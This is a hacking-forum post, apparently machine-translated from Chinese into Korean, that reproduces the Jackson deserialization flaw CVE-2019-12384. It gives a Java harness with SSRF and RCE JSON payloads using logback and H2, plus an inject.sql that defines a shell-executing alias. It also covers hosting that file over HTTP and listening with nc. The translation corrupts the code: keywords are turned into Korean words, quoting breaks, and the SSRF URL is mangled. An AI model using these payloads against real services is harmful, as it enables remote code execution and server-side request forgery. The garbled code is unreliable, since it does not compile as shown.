KoreanHackerTeam
Moderator
CVE-2019-12384:Jackson反序列化漏洞复现
分析
Jackson Developers가 언급 한 정보에 따르면이 Jackson 취약점을 트리거하려면 다음 요구 사항을 충족해야하므로 취약점은 중간 위험으로 평가됩니다.대상 응용 프로그램은 신뢰할 수없는 클라이언트가 전송하는 JSON 데이터를 수신합니다.
대상 응용 프로그램은 다형성 유형 처리 방법을 사용하여 Java.lang.object 유형의 특성을 처리합니다.
대상 응용 프로그램에는 Java ClassPath에서 사용될 수있는 하나 이상의 "가제트"클래스가 포함되어 있습니다. 이 취약점에는 많은 타사 항아리 패키지가 있습니다. Jackson의 자체 JAR 패키지 외에도 Logback-Core 및 H2도 필요합니다.
环境搭建
이 기사에 사용 된 타사 라이브러리는 다음과 같습니다.Jackson-Databind 2.9.8
Jackson-Nantations-2.9.8.jar
잭슨-코어 -2.9.8.jar
로그백 코어 -1.3.0-alpha4.jar
H2 1.4.199
http://www.mvnrepository.com에서 다운로드하십시오.
漏洞代码
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
패키지 com.baiyang;
com.fasterxml.jackson.databind.objectmapper 가져 오기;
com.fasterxml.jackson.databind.serializationfeature import;
import org.h2. 드라이버;
공개 클래스 메인 {
public static void main (String [] args) {
노력하다 {
class.forname ( 'org.h2.driver'). NewInstance ();
} catch (예외 e) {
e.printstacktrace ();
}
System.out.println ( '매핑');
//이 페이로드는 SSRF 재생산에 사용됩니다
문자열 ssrf='[\'ch.qos.logback.core.db.drivermanagerconnectionSource \ ', {\'url \ ': \'jdbc:h2:tcp: //127.0.0.1333333:tcp: //127.0.13333333:tcp: //
//이 페이로드는 RCE의 재생산에 사용됩니다
문자열 rce='[\'ch.qos.logback.core.db.driverManagerConnectionSource \ ', {\'url \ ': \'jdbc:h2:mem: trace_level_system_out=3; unit=runscript 'http://localhost/inject.sql'\ '}]';
ObjectMapper Mapper=새로운 ObjectMapper ();
mappper.enabledefaulttyping ();
mapper.configure (serializationfeature.fail_on_empty_beans, false);
System.out.println ( 'Serializing');
Object obj=null;
노력하다 {
//SSRF 또는 RCE를 교체하여 SSRF 또는 RCE 취약성의 페이로드를 테스트합니다.
obj=mapper.readValue (rce, java.lang.object.class);
} catch (예외 e) {
e.printstacktrace ();
}
System.out.println ( 'Objectified');
노력하다 {
System.out.println ( 'Stringified:' + mapper.writevalueasstring (OBJ));
} catch (예외 e) {
e.printstacktrace ();
}
}
}
构建步骤
이 기사는 아이디어에 관한 프로젝트를 생성합니다새로운 Java Commandline 프로젝트를 만듭니다
위의 코드를 클래스로 바꾸십시오
빨간색 상자의 아이콘을 클릭하여 프로젝트 구조 설정을 입력하십시오.

아래 단계를 따라 다운로드 된 외부 JAR 패키지를 프로젝트 파일로 가져옵니다.

攻击流程
다음 SQL 스크립트 파일을 inject.sql로 저장하십시오1
2
3
4
5
6
$$ String Shellexec (String CMD)가 java.io.ioexception을 던지면서 별명 shellexec을 만듭니다.
문자열 [] 명령={ 'bash', '-c', cmd};
java.util.scanner s=new java.util.scanner (runtime.getRuntime (). exec (명령) .getInputStream ()). usedElimiter ( '\\ a');
s.hasnext ()를 반환합니까? s.next () : ''; }
$$;
Shellexec ( 'Open /Applications/Calculator.app')
참고 :이 기사에서 RCE는 MACOS에서 실행됩니다. 다른 환경에서는 Call Shellexec의 명령을 직접 교체하십시오.
로컬 실행 실행 python2 -m simplehttpserver 80, 로컬로 http 서비스 시작
RCE payload测试
Java 파일의 페이로드를 RCE로 교체하고 Java 프로그램을 컴파일하고 실행하십시오.
SSRF payload测试
SSRF 결과의 관찰을 용이하게하기 위해 NC -L -VV 4444 실행Java 파일의 페이로드를 SSRF로 교체하고 Java 프로그램을 컴파일하고 실행하십시오.

参考
로드 중...
blog.doyensec.com
로드 중...
www.anquanke.com